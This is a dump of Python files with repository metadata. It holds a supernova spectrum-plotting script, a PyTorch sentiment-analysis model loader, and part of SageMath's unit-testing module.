line[13:32]\n                    t = Time(obsdate, format='isot').jd\n                    dt[ii] = t-t0\n            cols[ii] = 'red'\n        elif tel == 'DCT':\n            obsdate = '2018-09-14T00:00:00' # temporary\n            t = Time(obsdate, format='isot').jd\n            dt[ii] = t-t0\n            cols[ii] = 'yellow'\n        elif tel == 'NOT':\n            obsdate = '2018-09-17T00:00:00' # temporary\n            t = Time(obsdate, format='isot').jd\n            dt[ii] = t-t0\n            cols[ii] = 'green'\n        elif tel == 'P60':\n            for line in alldat:\n                if 'MJD_OBS' in line:\n                    obsdate = float(line[11:25])\n                    t = Time(obsdate, format='mjd').jd\n                    dt[ii] = t-t0\n            cols[ii] = 'black'\n        elif tel == 'omr.ascii':\n            # first Xinglong spectrum\n            t = Time('2018-09-21T11:15:10.0').jd\n            dt[ii] = t-t0\n        elif tel == 'Bfosc.ascii':\n            # second Xinglong spectrum\n            t = Time('2018-09-25T11:16:43.0').jd\n            dt[ii] = t-t0\n        else:\n            print(\"couldn't find telescope\")\n            print(tel)\n    order = np.argsort(dt)\n    files_sorted = files[order]\n    dt_sorted = dt[order]\n    tel_sorted = np.array(tels)[order]\n    cols = cols[order]\n    return files_sorted, dt_sorted, tel_sorted\n\n\ndef get_res(tel):\n    \"\"\" Here, this means the width of a line in Angstroms \"\"\"\n    if tel == 'LT':\n        res = 18 # Angstrom, res at central wavelength\n        res = 30 # add a couple of Ang?\n    elif tel == 'P200':\n        res = 10 # determined by eye from the spectrum\n        # basically, width of a galaxy emission line is 10 AA\n        # and each pixel is 1 AA\n    elif tel == 'Keck1':\n        res = 7*2 # determined by eye from spectrum\n        # width of a line is around 7 pixels\n        # and each pixel is 2 Angstroms\n    elif tel == 'NOT':\n        # width of a line is around 8 pixels\n        # and each pixel is around 2.63 Ang\n        res = 8*2.63\n    elif tel == 'DCT':\n        # width of a line is around 7 pixels\n        # and each pixel is 2.2 Ang\n        res = 7*2.2\n    elif tel == 'P60':\n        res = 20\n    elif 'ascii' in tel:\n        # Xinglong spectrum\n        res = 26\n    else:\n        res = 1\n    return res\n\n\ndef load_spec(f, tel):\n    \"\"\" load data from spec file \"\"\"\n    dat = np.loadtxt(f)\n    wl = dat[:,0]\n    flux = dat[:,1]\n    if tel == 'Keck':\n        eflux = dat[:,3]\n    else:\n        # need to estimate uncertainty from scatter\n        eflux = np.array([get_snr(wl, flux, 6000, 6200)]*len(wl))\n    ivar = 1/eflux**2\n    return wl, flux, ivar\n\n\ndef plot_spec(ax, x, y, tel, epoch):\n    \"\"\" plot the spectrum \"\"\"\n    choose_x = np.logical_and(x >= 3200, x<= 9300)\n    choose = choose_x\n    ax.plot(\n            x[choose], y[choose], c='lightgrey', \n            drawstyle='steps-mid', lw=0.5, alpha=0.4)\n    return ax\n\n\ndef plot_smoothed_spec(ax, x, y, ivar, tel, epoch, ls='-', lw=0.5, c='black', label=None):\n    \"\"\" plot the smoothed spectrum \"\"\"\n    res = get_res(tel)\n    choose_x = np.logical_and(x >= 3200, x<= 9300)\n    choose = choose_x \n    smoothed = smooth_spec(x, y, ivar, res*3)\n    ax.plot(\n            x[choose], smoothed[choose], c=c, \n            drawstyle='steps-mid', lw=lw, ls=ls, alpha=1.0, label=label)\n    dt_str = r\"+%s\\,d\" %str(np.round(epoch, 1))\n    ax.text(\n            x[choose][-1]+100, smoothed[choose][-1],  s=dt_str, \n            horizontalalignment='left', verticalalignment='center', \n            fontsize=14)\n    return ax\n\n\ndef choose_lines(z, dt):\n    \"\"\" choose galaxy emission lines given the epoch \"\"\"\n    balmer = np.array([6564.61, 4862.68, 4341.68, 4102.89, 3970.072])\n    oiii = np.array([4363, 4932.6, 4960.295, 5008.24]) # O III\n    oii = np.array([3727.092, 3729.875])\n    nii = np.array([6549.86])\n    oi = np.array([6302.046, 6365.536])\n    gal_wl = np.hstack((balmer, oiii, oii)) * (z+1)\n    return gal_wl\n\n\ndef plot_lines(ax, z, tel, dt):\n    \"\"\" Plot galaxy emission lines for a particular redshift \"\"\"\n    res = get_res(tel)\n    gal_wl = choose_lines(z, dt)\n    for val in gal_wl:\n        ax.axvspan(\n                val-res/2, val+res/2, ls='--', color='grey', lw=0.5, alpha=0.5)\n\n\ndef clip_lines(wl, flux, z, tel, dt):\n    res = get_res(tel)\n    gal_wl = choose_lines(z, dt)\n    for line in gal_wl:\n        choose = np.logical_and(wl >= line-res/2, wl <= line+res/2)\n        flux = np.interp(wl, wl[~choose], flux[~choose]) # interp over features\n    return wl, flux\n\n\ndef get_tellurics():\n    start = np.array([7594, 6853])\n    end = np.array([7678, 6950])\n    return start, end\n\n\ndef clip_tellurics(wl, flux):\n    start, end = get_tellurics()\n    for ii,beg in enumerate(start):\n        choose = np.logical_and(wl >= beg, wl <= end[ii])\n        flux = np.interp(wl, wl[~choose], flux[~choose])\n    return wl, flux\n\n\ndef plot_tellurics():\n    col = 'pink'\n    plt.axvspan(7594, 7678, ls='--', color=col, lw=0.5, alpha=0.5)\n    plt.axvspan(6853, 6950, ls='--', color=col, lw=0.5, alpha=0.5)\n\n\ndef fluxcal(wl, flux, dt_spec):\n    \"\"\" Flux-calibrate to R-band light curve \"\"\"\n    # get r-band LC\n    dt, filt, mag, emag = get_lc()\n    det = np.logical_and(mag<99, ~np.isnan(mag))\n    nondet = np.logical_or(mag==99, np.isnan(mag))\n    choose = np.logical_and(det, filt=='r')\n    # interpolate to this epoch\n    rval = np.interp(dt_spec, dt[choose], mag[choose])\n    # TEMP: r is roughly 658nm +/- 138nm\n    # TEMP: assume AB mag\n    lam = 6580 # in angstroms\n    c = 3E18 # angstrom/s\n    fnu = 1E-23 * 3631 * 10**(rval/(-2.5)) # erg/s/cm2/Hz\n    flam = fnu * (c/lam**2) # should be erg/s/cm2/AA\n    # scale factor\n    flam_meas = np.interp(lam, wl, flux)\n    #scale = (flam/flam_meas)/1E-15\n    return wl, flux\n\n\nif __name__==\"__main__\":\n    z = 0.03154\n\n    files, epochs, tels = get_files()\n    start = 0\n    end = 19\n    files = files[start:end]\n    epochs = epochs[start:end]\n    tels = tels[start:end]\n    nfiles = len(files)\n\n    fig,axarr = plt.subplots(\n            1, 2, figsize=(10,10), sharex=True)\n\n    for ii,f in enumerate(files):\n        if ii < nfiles/2:\n            ax = axarr[0]\n        else:\n            ax = axarr[1]\n        tel = tels[ii]\n        dt = epochs[ii]\n        wl, flux, ivar = load_spec(f, tel)\n        print(tel)\n        wl, flux = clip_lines(wl, flux, z, tel, dt)\n        wl, flux = clip_tellurics(wl, flux)\n        wl, flux = fluxcal(wl, flux, dt)\n        if ii < nfiles/2:\n            scale = (flux[wl > 3800][0])/2\n            plot_spec(ax, wl, flux/scale+nfiles/2-ii%(nfiles/2), tel, dt)\n            plot_smoothed_spec(\n                ax, wl, flux/scale+nfiles/2-ii%(nfiles/2), ivar, tel, dt)\n        else:\n            scale = (flux[wl > 4600][0])/2\n            plot_spec(ax, wl, flux/scale+nfiles/2-ii%(nfiles/2), tel, dt)\n            plot_smoothed_spec(\n                ax, wl, flux/scale+nfiles/2-ii%(nfiles/2), ivar, tel, dt)\n        ax.tick_params(axis='both', labelsize=14)\n    axarr[0].set_ylabel(\n            r\"Scaled $F_{\\lambda}$ + constant\",\n            fontsize=16)\n    axarr[0].set_xlabel(r\"Observed Wavelength (\\AA)\", fontsize=16)\n    axarr[1].set_xlabel(r\"Observed Wavelength (\\AA)\", fontsize=16)\n    axarr[1].get_yaxis().set_ticks([])\n    plt.xlim(3000, 11000)\n    #plt.xlim(4900, 5200)\n    plt.subplots_adjust(wspace=0)\n    axarr[0].set_ylim(0,12)\n    axarr[1].set_ylim(1,12)\n\n    #plt.tight_layout()\n    plt.savefig(\"spec_sequence.eps\", dpi=300, bbox_inches='tight')\n    #plt.show()\n    #plt.close()\n", "meta": {"hexsha": "1a6f7d32cbb0978b833885d8ad42d608d2a45dc4", "size": 9248, "ext": "py", "lang": "Python", "max_stars_repo_path": "code/paper_plots/fig24_spec_sequence.py", "max_stars_repo_name": "annayqho/SN2018gep", "max_stars_repo_head_hexsha": "93cd64a1aab326771199f9093339df5bc4eb8002", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2019-09-02T09:51:36.000Z", "max_stars_repo_stars_event_max_datetime": "2021-04-17T22:16:24.000Z", "max_issues_repo_path": "code/paper_plots/fig24_spec_sequence.py", "max_issues_repo_name": "steveschulze/SN2018gep", "max_issues_repo_head_hexsha": "93cd64a1aab326771199f9093339df5bc4eb8002", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "code/paper_plots/fig24_spec_sequence.py", "max_forks_repo_name": "steveschulze/SN2018gep", "max_forks_repo_head_hexsha": "93cd64a1aab326771199f9093339df5bc4eb8002", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-03-11T18:43:21.000Z", "max_forks_repo_forks_event_max_datetime": "2021-03-11T18:43:21.000Z", "avg_line_length": 32.3356643357, "max_line_length": 91, "alphanum_fraction": 0.5577422145, "include": true, "reason": "import numpy,from astropy", "num_tokens": 2880, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.1778108760134381, "lm_q1q2_score": 0.09029447243750247}}
{"text": "# Contains the functions to load the state dict into the model and data preprocessing\nfrom download import download_model\nimport torch.nn.functional as F\nfrom pathlib import Path\nimport torch.nn as nn\nimport numpy as np\nimport torchtext\nimport requests\nimport pickle\nimport spacy\nimport torch\nimport os\nimport re\n\n\nnlp = spacy.load(\"en_core_web_sm\")\n\n\nclass CNN(nn.Module):\n\n    def __init__(self, vocab_size, embedding_dim,\n                 n_filters, filter_sizes, output_dim,\n                 dropout, pad_idx):\n\n        super().__init__()\n\n        self.embedding = nn.Embedding(\n            vocab_size, embedding_dim, padding_idx=pad_idx)\n\n        '''\n        ModuleList means an arbirtary sized list of filter sizes can be provided\n        and the list comprehension will create conv layers for each of the filters\n        '''\n        self.convs = nn.ModuleList([\n            nn.Conv2d(in_channels=1, out_channels=n_filters,\n                      kernel_size=(fs, embedding_dim)) for fs in filter_sizes])\n\n        self.fc = nn.Linear(len(filter_sizes) * n_filters, output_dim)\n\n        self.dropout = nn.Dropout(dropout)\n\n    def forward(self, text):\n        '''\n        In PyTorch RNNs want the input with batch dim second, CNNs want the batch dim first\n        we permute the input to make it the right shape for the CNN\n        '''\n        text = text.permute(1, 0)\n\n        # Text passed through embedding layer to get embeddings\n        embedded = self.embedding(text)\n\n        '''\n        A conv layer wants the second dim of the input to be a channel dim\n        text does not have a channel dim, so the tensor is unsqueezed to create one\n        '''\n        embedded = embedded.unsqueeze(1)\n\n        # Iterates through the list of conv layers applying each conv layer to get list of conv outputs\n        conved = [F.relu(conv(embedded)).squeeze(3) for conv in self.convs]\n\n        '''\n        Conv outputs are passed through a max pooling that takes the maximum value over a dimension\n        the idea being that the \"maximum value\" is the most important feature for determining the sentiment\n        which corresponds to the most important n-gram in the review\n        '''\n        pooled = [F.max_pool1d(conv, conv.shape[2]).squeeze(2)\n                  for conv in conved]\n\n        '''\n        The model has 100 filters of 3 different sizes, therefore 300 n-grams that could be important\n        which we concatenate into a single vector and pass through a dropout layer and finally a linear layer\n        (NOTE: dropout is set to 0 during inference time)\n        '''\n        cat = self.dropout(torch.cat(pooled, dim=1))\n\n        # passed through linear layer to make predictions\n        return self.fc(cat)\n\n\ns3_model_url = 'https://sent-model.s3.eu-west-2.amazonaws.com/conv-sentiment_model1.pt'\npath_to_model = download_model(s3_model_url, model_name=\"conv-sentiment_model1.pt\")\n\nmodel = CNN(25002, 300, 100, [3, 4, 5], 1, 0.55, 1)\nmodel.load_state_dict(torch.load(path_to_model, map_location='cpu'))\n\ns3_word_dict_url = 'https://sent-model.s3.eu-west-2.amazonaws.com/word_dict.pkl'\npath_to_dict = download_model(s3_word_dict_url, model_name=\"word_dict.pkl\")\n\nwith open(path_to_dict, 'rb') as f:\n    TEXT = pickle.load(f)\n\n\ndef predict_sentiment(sentence, model=model, min_len=5):\n\n    model.eval()\n\n    sentence = sentence.lower()\n    # Remove punctuation\n    sentence = re.sub(r'[^\\w\\s]', '', sentence)\n\n    tokenized = [tok.text for tok in nlp.tokenizer(sentence)]\n\n    '''\n    If the length of the sentence is shorter than the length of the largest filter\n    then the sentence must be padded to the length of the largest filter\n    '''\n    if len(tokenized) < min_len:\n        tokenized += ['<pad>'] * (min_len - len(tokenized))\n    indexed = [TEXT.stoi[t] for t in tokenized]\n    tensor = torch.LongTensor(indexed)\n    tensor = tensor.unsqueeze(1)\n    prediction = torch.sigmoid(model(tensor))\n\n    probs = [{'name': index, 'prob': prediction.item()}\n             for index in np.argsort(prediction.item())]\n\n\n    return (sentence, probs)\n", "meta": {"hexsha": "74b7a73e01634f66782727bf28c4576adb7bb28f", "size": 4063, "ext": "py", "lang": "Python", "max_stars_repo_path": "model.py", "max_stars_repo_name": "MohitJuneja/PyTorch-Sentiment-Analysis-deployed-with-Flask", "max_stars_repo_head_hexsha": "70243c9ef34233faac59700706d148add870e6fe", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "model.py", "max_issues_repo_name": "MohitJuneja/PyTorch-Sentiment-Analysis-deployed-with-Flask", "max_issues_repo_head_hexsha": "70243c9ef34233faac59700706d148add870e6fe", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "model.py", "max_forks_repo_name": "MohitJuneja/PyTorch-Sentiment-Analysis-deployed-with-Flask", "max_forks_repo_head_hexsha": "70243c9ef34233faac59700706d148add870e6fe", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.1428571429, "max_line_length": 109, "alphanum_fraction": 0.6699483141, "include": true, "reason": "import numpy", "num_tokens": 943, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.1778108672995868, "lm_q1q2_score": 0.0902944680125054}}
{"text": "r\"\"\"\nUnit testing for Sage objects\n\"\"\"\n\n# ****************************************************************************\n#       Copyright (C) 2009 Nicolas M. Thiery <nthiery at users.sf.net>\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 2 of the License, or\n# (at your option) any later version.\n#                  https://www.gnu.org/licenses/\n# ****************************************************************************\n\nimport unittest\nimport sys\nimport traceback\n\n\nclass TestSuite(object):\n    \"\"\"\n    Test suites for Sage objects.\n\n    EXAMPLES::\n\n        sage: TestSuite(ZZ).run()\n\n    No output means that all tests passed. Which tests?\n    In practice this calls all the methods ``._test_*`` of this\n    object, in alphabetic order::\n\n        sage: TestSuite(1).run(verbose = True)\n        running ._test_category() . . . pass\n        running ._test_eq() . . . pass\n        running ._test_new() . . . pass\n        running ._test_nonzero_equal() . . . pass\n        running ._test_not_implemented_methods() . . . pass\n        running ._test_pickling() . . . pass\n\n    Those methods are typically implemented by abstract\n    super classes, in particular via categories, in order to\n    enforce standard behavior and API, or provide mathematical\n    sanity checks. For example if ``self`` is in the category of\n    finite semigroups, this checks that the multiplication is\n    associative (at least on some elements)::\n\n        sage: S = FiniteSemigroups().example(alphabet = ('a', 'b'))\n        sage: TestSuite(S).run(verbose = True)\n        running ._test_an_element() . . . pass\n        running ._test_associativity() . . . pass\n        running ._test_cardinality() . . . pass\n        running ._test_category() . . . pass\n        running ._test_construction() . . . pass\n        running ._test_elements() . . .\n          Running the test suite of self.an_element()\n          running ._test_category() . . . pass\n          running ._test_eq() . . . pass\n          running ._test_new() . . . pass\n          running ._test_not_implemented_methods() . . . pass\n          running ._test_pickling() . . . pass\n          pass\n        running ._test_elements_eq_reflexive() . . . pass\n        running ._test_elements_eq_symmetric() . . . pass\n        running ._test_elements_eq_transitive() . . . pass\n        running ._test_elements_neq() . . . pass\n        running ._test_enumerated_set_contains() . . . pass\n        running ._test_enumerated_set_iter_cardinality() . . . pass\n        running ._test_enumerated_set_iter_list() . . . pass\n        running ._test_eq() . . . pass\n        running ._test_new() . . . pass\n        running ._test_not_implemented_methods() . . . pass\n        running ._test_pickling() . . . pass\n        running ._test_some_elements() . . . pass\n\n    The different test methods can be called independently::\n\n        sage: S._test_associativity()\n\n    Debugging tip: in case of failure of some test, use ``%pdb on`` to\n    turn on automatic debugging on error. Run the failing test\n    independently: the debugger will stop right where the first\n    assertion fails. Then, introspection can be used to analyse what\n    exactly the problem is. See also the ``catch = False`` option to\n    :meth:`.run`.\n\n    When meaningful, one can further customize on which elements\n    the tests are run. Here, we use it to *prove* that the\n    multiplication is indeed associative, by running the test on\n    all the elements::\n\n        sage: S._test_associativity(elements = S)\n\n    Adding a new test boils down to adding a new method in the class\n    of the object or any super class (e.g. in a category). This method\n    should use the utility :meth:`._tester` to handle standard options\n    and report test failures. See the code of\n    :meth:`._test_an_element` for an example. Note: Python's testunit\n    convention is to look for methods called ``.test*``; we use instead\n    ``._test_*`` so as not to pollute the object's interface.\n\n    Eventually, every implementation of a :class:`SageObject` should\n    run a :class:`TestSuite` on one of its instances in its doctest\n    (replacing the current ``loads(dumps(x))`` tests).\n\n    Finally, running ``TestSuite`` on a standard Python object does\n    some basic sanity checks::\n\n        sage: TestSuite(int(1)).run(verbose = True)\n        running ._test_new() . . . pass\n        running ._test_pickling() . . . pass\n\n    TODO:\n\n     - Allow for customized behavior in case of failing assertion\n       (warning, error, statistic accounting).\n       This involves reimplementing the methods fail / failIf / ...\n       of unittest.TestCase in InstanceTester\n\n     - Don't catch the exceptions if ``TestSuite(..).run()`` is called\n       under the debugger, or with ``%pdb`` on (how to detect this? see\n       ``get_ipython()``, ``IPython.Magic.shell.call_pdb``, ...)\n       In the mean time, see the ``catch=False`` option.\n\n     - Run the tests according to the inheritance order, from most\n       generic to most specific, rather than alphabetically. Then, the\n       first failure will be the most relevant, the others being\n       usually consequences.\n\n     - Improve integration with doctests (statistics on failing/passing tests)\n\n     - Add proper support for nested testsuites.\n\n     - Integration with unittest:\n       Make TestSuite inherit from unittest.TestSuite?\n       Make ``.run(...)`` accept a result object\n\n     - Add some standard option ``proof = True``, asking for the\n       test method to choose appropriately the elements so as to\n       prove the desired property. The test method may assume that\n       a parent implements properly all the super categories. For\n       example, the ``_test_commutative`` method of the category\n       ``CommutativeSemigroups()`` may just check that the\n       provided generators commute, implicitly assuming that\n       generators indeed generate the semigroup (as required by\n       ``Semigroups()``).\n    \"\"\"\n\n    def __init__(self, instance):\n        \"\"\"\n        TESTS::\n\n            sage: TestSuite(ZZ)\n            Test suite for Integer Ring\n        \"\"\"\n        from sage.structure.sage_object import SageObject\n        if not isinstance(instance, (SageObject, PythonObjectWithTests)):\n            instance = PythonObjectWithTests(instance)\n        self._instance = instance\n\n    def __repr__(self):\n        \"\"\"\n        TESTS::\n\n            sage: TestSuite(ZZ)\n            Test suite for Integer Ring\n        \"\"\"\n        return \"Test suite for %s\" % self._instance\n\n    def run(self, category=None, skip=[], catch=True, raise_on_failure=False,\n            **options):\n        \"\"\"\n        Run all the tests from this test suite:\n\n        INPUT:\n\n         - ``category``         - a category; reserved for future use\n         - ``skip``             - a string or list (or iterable) of strings\n         - ``raise_on_failure`` - a boolean (default: False)\n         - ``catch``            - a boolean (default: True)\n\n        All other options are passed down to the individual tests.\n\n        EXAMPLES::\n\n            sage: TestSuite(ZZ).run()\n\n        We now use the ``verbose`` option::\n\n            sage: TestSuite(1).run(verbose = True)\n            running ._test_category() . . . pass\n            running ._test_eq() . . . pass\n            running ._test_new() . . . pass\n            running ._test_nonzero_equal() . . . pass\n            running ._test_not_implemented_methods() . . . pass\n            running ._test_pickling() . . . pass\n\n        Some tests may be skipped using the ``skip`` option::\n\n            sage: TestSuite(1).run(verbose = True, skip =\"_test_pickling\")\n            running ._test_category() . . . pass\n            running ._test_eq() . . . pass\n            running ._test_new() . . . pass\n            running ._test_nonzero_equal() . . . pass\n            running ._test_not_implemented_methods() . . . pass\n            sage: TestSuite(1).run(verbose = True, skip =[\"_test_pickling\", \"_test_category\"])\n            running ._test_eq() . . . pass\n            running ._test_new() . . . pass\n            running ._test_nonzero_equal() . . . pass\n            running ._test_not_implemented_methods() . . . pass\n\n        We now show (and test) some standard error reports::\n\n            sage: class Blah(SageObject):\n            ....:     def _test_a(self, tester): pass\n            ....:     def _test_b(self, tester): tester.fail()\n            ....:     def _test_c(self, tester): pass\n            ....:     def _test_d(self, tester): tester.fail()\n\n            sage: TestSuite(Blah()).run()\n            Failure in _test_b:\n            Traceback (most recent call last):\n              ...\n            AssertionError: None\n            ------------------------------------------------------------\n            Failure in _test_d:\n            Traceback (most recent call last):\n              ...\n            AssertionError: None\n            ------------------------------------------------------------\n            Failure in _test_pickling:\n            Traceback (most recent call last):\n              ...\n            ...PicklingError: Can't pickle <class '__main__.Blah'>: attribute\n            lookup ...Blah... failed\n            ------------------------------------------------------------\n            The following tests failed: _test_b, _test_d, _test_pickling\n\n            sage: TestSuite(Blah()).run(verbose = True)\n            running ._test_a() . . . pass\n            running ._test_b() . . . fail\n            Traceback (most recent call last):\n              ...\n            AssertionError: None\n            ------------------------------------------------------------\n            running ._test_c() . . . pass\n            running ._test_category() . . . pass\n            running ._test_d() . . . fail\n            Traceback (most recent call last):\n              ...\n            AssertionError: None\n            ------------------------------------------------------------\n            running ._test_new() . . . pass\n            running ._test_not_implemented_methods() . . . pass\n            running ._test_pickling() . . . fail\n            Traceback (most recent call last):\n              ...\n            ...PicklingError: Can't pickle <class '__main__.Blah'>: attribute\n            lookup ...Blah... failed\n            ------------------------------------------------------------\n            The following tests failed: _test_b, _test_d, _test_pickling\n\n            File \"/opt/sage/local/lib/python/site-packages/sage/misc/sage_unittest.py\", line 183, in run\n            test_method(tester = tester)\n\n        The ``catch=False`` option prevents ``TestSuite`` from\n        catching exceptions::\n\n            sage: TestSuite(Blah()).run(catch=False)\n            Traceback (most recent call last):\n              ...\n              File ..., in _test_b\n                def _test_b(self, tester): tester.fail()\n              ...\n            AssertionError: None\n\n        In conjunction with ``%pdb on``, this allows for the debugger\n        to jump directly to the first failure location.\n        \"\"\"\n        if isinstance(skip, str):\n            skip = [skip]\n        else:\n            skip = tuple(skip)\n\n        # The class of exceptions that will be caught and reported;\n        # other exceptions will get through. () catches nothing.\n        catch_exception = Exception if catch else ()\n\n        tester = instance_tester(self._instance, **options)\n        failed = []\n        for method_name in dir(self._instance):\n            if method_name[0:6] == \"_test_\" and method_name not in skip:\n                # TODO: improve pretty printing\n                # could use the doc string of the test method?\n                tester.info(tester._prefix + \"running .%s() . . .\" % method_name, newline=False)\n                test_method = getattr(self._instance, method_name)\n                try:\n                    test_method(tester=tester)\n                    tester.info(\" pass\")\n                except catch_exception as e:\n                    failed.append(method_name)\n                    if isinstance(e, TestSuiteFailure):\n                        # The failure occurred in a nested testsuite\n                        # which has already reported the details of\n                        # that failure\n                        if not tester._verbose:\n                            print(tester._prefix + \"Failure in {}\".format(method_name))\n                    else:\n                        if tester._verbose:\n                            tester.info(\" fail\")\n                        else:\n                            print(tester._prefix + \"Failure in {}:\".format(method_name))\n                        s = traceback.format_exc()\n                        print(tester._prefix + s.strip().replace(\"\\n\", \"\\n\" + tester._prefix))\n                        print(tester._prefix + \"-\" * 60)\n        if failed:\n            print(tester._prefix + \"The following tests failed: {}\".format(\", \".join(failed)))\n            if raise_on_failure:\n                raise TestSuiteFailure\n\n\nclass TestSuiteFailure(AssertionError):\n    pass\n\n\ndef instance_tester(instance, tester=None, **options):\n    \"\"\"\n    Return a gadget attached to ``instance`` providing testing utilities.\n\n    EXAMPLES::\n\n        sage: from sage.misc.sage_unittest import instance_tester\n        sage: tester = instance_tester(ZZ)\n\n        sage: tester.assertTrue(1 == 1)\n        sage: tester.assertTrue(1 == 0)\n        Traceback (most recent call last):\n        ...\n        AssertionError: False is not true\n        sage: tester.assertTrue(1 == 0, \"this is expected to fail\")\n        Traceback (most recent call last):\n        ...\n        AssertionError: this is expected to fail\n\n        sage: tester.assertEqual(1, 1)\n        sage: tester.assertEqual(1, 0)\n        Traceback (most recent call last):\n        ...\n        AssertionError: 1 != 0\n\n    The available assertion testing facilities are the same as in\n    :class:`unittest.TestCase` [UNITTEST]_, which see (actually, by a slight\n    abuse, tester is currently an instance of this class).\n\n    TESTS::\n\n        sage: instance_tester(ZZ, tester = tester) is tester\n        True\n    \"\"\"\n    if tester is None:\n        return InstanceTester(instance, **options)\n    else:\n        assert not options\n        assert tester._instance is instance\n        return tester\n\n\nclass InstanceTester(unittest.TestCase):\n    \"\"\"\n    A gadget attached to an instance providing it with testing utilities.\n\n    EXAMPLES::\n\n        sage: from sage.misc.sage_unittest import InstanceTester\n        sage: InstanceTester(instance = ZZ, verbose = True, elements = [1,2,3])\n        Testing utilities for Integer Ring\n\n    This is used by ``SageObject._tester``, which see::\n\n        sage: QQ._tester()\n        Testing utilities for Rational Field\n    \"\"\"\n\n    # On Python 3 this attribute defaults to True, causing the AssertionErrors\n    # output by failed test cases to produce longer error messages than the\n    # default error messages on Python 2.  So for backwards compatibility of\n    # existing test cases we disable these \"long messages\" (which don't gain us\n    # all that much anyways)\n    longMessage = False\n\n    def __init__(self, instance, elements=None, verbose=False, prefix=\"\",\n                 max_runs=4096, max_samples=None, **options):\n        \"\"\"\n        A gadget attached to an instance providing it with testing utilities.\n\n        EXAMPLES::\n\n            sage: from sage.misc.sage_unittest import InstanceTester\n            sage: InstanceTester(instance = ZZ, verbose = True, elements = [1,2,3])\n            Testing utilities for Integer Ring\n\n        This is used by ``SageObject._tester``, for example::\n\n            sage: QQ._tester()\n            Testing utilities for Rational Field\n        \"\"\"\n        unittest.TestCase.__init__(self)\n        self._instance = instance\n        self._verbose = verbose\n        self._elements = elements\n        self._prefix = prefix\n        self._max_runs = max_runs\n        self._max_samples = max_samples\n\n    def runTest(self):\n        \"\"\"\n        Trivial implementation of :meth:`unittest.TestCase.runTest` to\n        please the super class :class:`TestCase`. That's the price to\n        pay for abusively inheriting from it.\n\n        EXAMPLES::\n\n            sage: from sage.misc.sage_unittest import InstanceTester\n            sage: tester = InstanceTester(ZZ, verbose = True)\n            sage: tester.runTest()\n        \"\"\"\n        pass\n\n    def info(self, message, newline=True):\n        \"\"\"\n        Display user information\n\n        EXAMPLES::\n\n            sage: from sage.misc.sage_unittest import InstanceTester\n            sage: tester = InstanceTester(ZZ, verbose = True)\n\n            sage: tester.info(\"hello\"); tester.info(\"world\")\n            hello\n            world\n\n            sage: tester = InstanceTester(ZZ, verbose = False)\n            sage: tester.info(\"hello\"); tester.info(\"world\")\n\n            sage: tester = InstanceTester(ZZ, verbose = True)\n            sage: tester.info(\"hello\", newline = False); tester.info(\" world\")\n            hello world\n        \"\"\"\n        if self._verbose:\n            if newline:\n                sys.stdout.write(message + \"\\n\")\n            else:\n                sys.stdout.write(message)\n            sys.stdout.flush()\n\n    def __repr__(self):\n        \"\"\"\n        EXAMPLES::\n\n            sage: from sage.misc.sage_unittest import InstanceTester\n            sage: InstanceTester(ZZ, verbose = True)\n            Testing utilities for Integer Ring\n\n        \"\"\"\n        return \"Testing utilities for %s\" % self._instance\n\n    def some_elements(self, S=None, repeat=None):\n        \"\"\"\n        Return a list (or iterable) of elements of the instance on which\n        the tests should be run.\n\n        This is only meaningful for container objects like parents.\n\n        INPUT:\n\n        - ``S`` -- a set of elements to select from.  By default this\n          will use the elements passed to this tester at creation\n          time, or the result of :meth:`.some_elements` if no elements\n          were specified.\n\n        - ``repeat`` -- integer (default: None).  If given, instead returns\n          a list of tuples of length ``repeat`` from ``S``.\n\n        OUTPUT:\n\n        A list of at most ``self._max_runs`` elements of ``S^r``,\n        or a sample of at most ``self._max_samples`` if that is not ``None``.\n\n        EXAMPLES:\n\n        By default, this calls :meth:`.some_elements` on the instance::\n\n            sage: from sage.misc.sage_unittest import InstanceTester\n            sage: class MyParent(Parent):\n            ....:     def some_elements(self):\n            ....:         return [1,2,3,4,5]\n            ...\n            sage: tester = InstanceTester(MyParent())\n            sage: list(tester.some_elements())\n            [1, 2, 3, 4, 5]\n\n            sage: tester = InstanceTester(MyParent(), max_runs=3)\n            sage: list(tester.some_elements())\n            [1, 2, 3]\n\n            sage: tester = InstanceTester(MyParent(), max_runs=7)\n            sage: list(tester.some_elements())\n            [1, 2, 3, 4, 5]\n\n            sage: tester = InstanceTester(MyParent(), elements=[1,3,5])\n            sage: list(tester.some_elements())\n            [1, 3, 5]\n\n            sage: tester = InstanceTester(MyParent(), elements=[1,3,5], max_runs=2)\n            sage: list(tester.some_elements())\n            [1, 3]\n\n            sage: tester = InstanceTester(FiniteEnumeratedSet(['a','b','c','d']), max_runs=3)\n            sage: tester.some_elements()\n            ['a', 'b', 'c']\n\n            sage: tester = InstanceTester(FiniteEnumeratedSet([]))\n            sage: list(tester.some_elements())\n            []\n\n            sage: tester = InstanceTester(ZZ)\n            sage: ZZ.some_elements()             # yikes, shamelessly trivial ...\n            <generator object ..._some_elements_from_iterator at 0x...>\n            sage: list(tester.some_elements())\n            [0, 1, -1, 2, -2, ..., 49, -49, 50]\n\n            sage: tester = InstanceTester(ZZ, elements = ZZ, max_runs=5)\n            sage: list(tester.some_elements())\n            [0, 1, -1, 2, -2]\n\n            sage: tester = InstanceTester(ZZ, elements = srange(100), max_runs=5)\n            sage: list(tester.some_elements())\n            [0, 1, 